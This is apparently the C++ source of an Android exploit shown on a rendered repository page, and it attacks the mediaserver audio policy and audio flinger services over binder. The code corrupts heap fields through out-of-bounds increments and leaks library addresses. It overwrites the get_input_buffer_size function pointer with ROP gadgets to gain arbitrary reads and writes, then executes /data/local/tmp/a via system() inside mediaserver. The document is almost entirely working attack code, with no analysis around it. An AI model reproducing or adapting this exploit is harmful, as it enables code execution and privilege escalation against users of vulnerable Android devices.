README.md
Rendering markdown...
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <errno.h>
#include <binder/IPCThreadState.h>
#include <binder/IServiceManager.h>
#include <media/AudioSystem.h>
#include <media/IAudioFlinger.h>
#include <media/IAudioPolicyService.h>
#include "primitives.h"
#include "memory_map.h"
#include "defs.h"
#include "gadgets.h"
#include "write32.h"
#define APM_AUDIO_OUT_DEVICE_REMOTE_ALL (0x8000)
namespace android {
int main_logic(int argc, char* argv[]) {
//Getting the handles for the services
sp<IServiceManager> sm = defaultServiceManager();
sp<IBinder> aps_binder = sm->getService(String16("media.audio_policy"));
sp<IBinder> af_binder = sm->getService(String16("media.audio_flinger"));
sp<IAudioPolicyService> aps = interface_cast<IAudioPolicyService>(aps_binder);
sp<IAudioFlinger> af = interface_cast<IAudioFlinger>(af_binder);
if (aps == NULL || af == NULL) {
printf("[-] Failed to connect to audio services\n");
return -ENOENT;
}
printf("[+] Got audio policy service: %p\n", aps.get());
printf("[+] Got audio flinger service: %p\n", af.get());
//Incrementing the "device" field of one of the OutputDescriptors so that it will
//have the APM_AUDIO_OUT_DEVICE_REMOTE_ALL flag on.
//This will enable us to use the relative read using isStreamActiveRemotely from
//the same base address
printf("Incrementing the device field to be a remote device\n");
for (int i=0; i<APM_AUDIO_OUT_DEVICE_REMOTE_ALL; i++)
increment_by_one(aps, -1); //The device field is one DWORD behind the mRefCount array
//Searching for the audio_hw_device_t template
int match_offset;
int res = find_memory_map(aps, g_audio_hw_device_t_template, sizeof(g_audio_hw_device_t_template),
START_OFFSET, MAX_OFFSET, match_offset);
if (res != 0) {
printf("[-] Failed to find audio_hw_device_t, aborting\n");
return res;
}
set_primary_device_offset(match_offset);
printf("[+] Found audio_hw_device_t template at offset %d\n", match_offset);
//Changing the get_input_buffer_size function pointer to a relative read gadget from R0
//This is done so that we can read a function pointer from audio.primary.goldfish.so and therefore
//get the base address of the library (and in the process, all other libraries as well).
int funcptr_current_value = RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE;
int wanted_value = + read_r0_offset_108.library_offset
+ read_r0_offset_108.gadget_offset;
printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
funcptr_current_value = wanted_value;
uint32_t read_function_pointer_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
uint32_t audio_primary_library_address = read_function_pointer_address - READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS;
printf("Read function pointer %08X -> Assuming primary library load address is %08X\n",
read_function_pointer_address, audio_primary_library_address);
//Changing the get_input_buffer_size function pointer to a BX-LR
//This is done so that we can get the address of the audio_hw_device_t instance
wanted_value = + bx_lr_gadget_info.library_offset
+ bx_lr_gadget_info.gadget_offset;
printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
funcptr_current_value = wanted_value;
uint32_t primary_device_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
printf("[+] Got address of audio_hw_device_t: %08X\n", primary_device_address);
set_primary_device_address(primary_device_address);
//Changing the get_input_buffer_size function pointer to a write gadget
wanted_value = + write_gadget_info.library_offset
+ write_gadget_info.gadget_offset;
printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
funcptr_current_value = wanted_value;
//Preparing the information for the "system" execution
uint32_t scratch_pad_address = primary_device_address + 12; //This is the location of the reserved 12 DWORDs
const char* wanted_path = "/data/local/tmp/a";
uint32_t* data_ptr = (uint32_t*)wanted_path;
int num_of_dwords_in_path = (strlen(wanted_path)/sizeof(uint32_t)) + 1;
printf("[+] Writing %d DWORDs of path %s to %08X\n", num_of_dwords_in_path, wanted_path, scratch_pad_address);
for (int i=0; i<num_of_dwords_in_path; i++)
write32(af, aps, scratch_pad_address + i*sizeof(uint32_t), data_ptr[i]);
//Writing the parameters to the scratch pad as well
uint32_t system_address = audio_primary_library_address +
system_gadget.library_offset +
system_gadget.gadget_offset;
printf("[+] Calculated system address: %08X\n", system_address);
printf("[+] Writing parameters to addresses %08X, %08X\n", primary_device_address + 88, primary_device_address + 96);
write32(af, aps, primary_device_address + 32, scratch_pad_address);
write32(af, aps, primary_device_address + 36, system_address);
//Changing the function pointer of the get_input_bufer_size to the blx gadget
uint32_t blx_gadget_address = audio_primary_library_address +
blx_gadget.library_offset +
blx_gadget.gadget_offset;
printf("[+] Calculated blx gadget address: %08X\n", blx_gadget_address);
write32(af, aps, primary_device_address + GET_INPUT_BUFFER_SIZE_OFFSET*sizeof(uint32_t), blx_gadget_address);
//Calling the BLX gadget, which should result in execution
af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
printf("[+] Finished system-ing in mediaserver\n");
return 0;
}
}
int main(int argc, char* argv[]) {
return android::main_logic(argc, argv);
}